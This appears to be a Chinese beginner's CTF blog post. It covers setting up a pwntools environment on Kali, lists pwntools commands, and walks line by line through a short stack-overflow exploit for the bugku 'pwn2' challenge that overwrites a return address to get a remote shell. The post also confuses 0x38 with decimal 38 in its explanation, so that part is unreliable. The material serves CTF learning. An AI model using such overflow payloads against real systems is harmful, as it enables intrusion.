前言

环境配置真的烦人…不说了泪目。
pwn第二天本来计划继续学栈溢出的,但南邮比赛今晚九点开始,于是先把pwn的环境配置好了再说。
按照网上各种教程结果乱七八糟的不知道怎么弄…
失败过很多次。于是把自己的经验写在这里吧。
今天一天都用来配置环境了= =
(主要是我想弄docker)
而且踩的坑太多太多,我已经无力了

安装docker——失败

然后运行到helloword出错,解决方法

然后后面导入镜像和使用docker失败了= =
还去阿里云搞了个仓库 然后发现这个是用来搭建环境的,也就是模拟真题,与出题有关orz
于是先放弃,先搭建pwntools好了

安装pwntool

在kali中安装pwntools,安装完成后输入python进入python环境,使用from pwn import * 导入pwntools库
pwntool安装和使用的一些语句
https://www.jianshu.com/p/355e4badab50 such as

本地 :sh = porcess("./level0")
远程:sh = remote("127.0.0.1",10001)
关闭连接:sh.close()  
sh.send(data)  发送数据
sh.sendline(data)  发送一行数据,相当于在数据后面加\n
sh.recv(numb = 2048, timeout = dufault)  接受数据,numb指定接收的字节,timeout指定超时
sh.recvline(keepends=True)  接受一行数据,keepends为是否保留行尾的\n
sh.recvuntil("Hello,World\n",drop=fasle)  接受数据直到我们设置的标志出现
sh.recvall()  一直接收直到EOF
sh.recvrepeat(timeout = default)  持续接受直到EOF或timeout
sh.interactive()  直接进行交互,相当于回到shell的模式,在取得shell之后使用

练手

放这里,拿几道题目练练手。

bugku的pwn2是栈溢出

用ida打开f5查看伪代码如下

怎么用docker搭建靶场 docker搭建pwn环境_pwn

网上wp脚本如下

from pwn import *

sh = remote("114.116.54.89", 10003)

print sh.recv()
payload="A" * 0x38 + p64(0x400751)
sh.sendline(payload)
sh.interactive()

一句句分析。
sh = remote("114.116.54.89", 10003)对照脚本即获取nc端口地址,进行远程连接

print sh.recv()读取数据

payload="A" * 0x38 + p64(0x400751)这句便是栈溢出的精髓了,构造payload,38个A是因为前面定义s的地址指针是rbp-30,64位的返回地址通常是rbp+8,加起来是38,所以弄三十八个覆盖掉,然后eip刚好就可以输入p64(0x400751)也就是这里

怎么用docker搭建靶场 docker搭建pwn环境_栈溢出_02

get shell的地址。

sh.sendline(payload)发送这一行数据,这里相当于在nc端口终端输入了构造好的语句。同时也有个很重要的地方,就是read读取可以达到100,如果read只能读取30那栈溢出就没用了,就会自己截断掉。

最后sh.interactive()取得shell